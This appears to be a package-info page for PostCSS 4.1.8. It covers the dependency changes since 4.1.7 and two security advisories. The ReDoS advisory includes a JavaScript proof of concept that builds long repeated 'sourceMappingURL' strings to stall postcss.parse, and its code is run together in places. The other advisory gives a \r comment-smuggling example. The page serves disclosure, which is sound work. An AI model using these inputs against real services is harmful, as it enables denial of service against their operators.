PostCSS version 4.1.8 represents a minor update to the popular CSS transformation tool, building upon the foundation laid by version 4.1.7. Both versions share the core functionality of enabling developers to manipulate CSS using JavaScript plugins. They rely on the same core dependencies: js-base64 for Base64 encoding/decoding, source-map for source map generation and manipulation, and es6-promise for Promise support, ensuring consistent performance in these key areas. The bulk of the changes seem to revolve around development dependencies, with a notable shift in babel-core, upgraded from version 5.1.13 to 5.2.2 in the newer release. This might indicate subtle improvements or bug fixes related to the Babel transpilation process used during PostCSS development. Other development dependencies remain consistent, including testing frameworks like chai, mocha, and sinon, build tools like gulp and gulp-babel, and utilities for linting, JSON editing, and source map concatenation.
For developers considering upgrading, the change in babel-core is the most relevant point. If you're encountering issues or want the latest improvements in that specific area, updating to 4.1.8 could prove beneficial. Otherwise, the two versions are functionally very similar, so upgrading is not critical but recommended. PostCSS remains a tool to transform CSS with JS plugins, allowing developers to lint their CSS, support variables and mixins/functions, transpile future CSS syntax, auto-prefix and many other things.
All the vulnerabilities related to the version 4.1.8 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.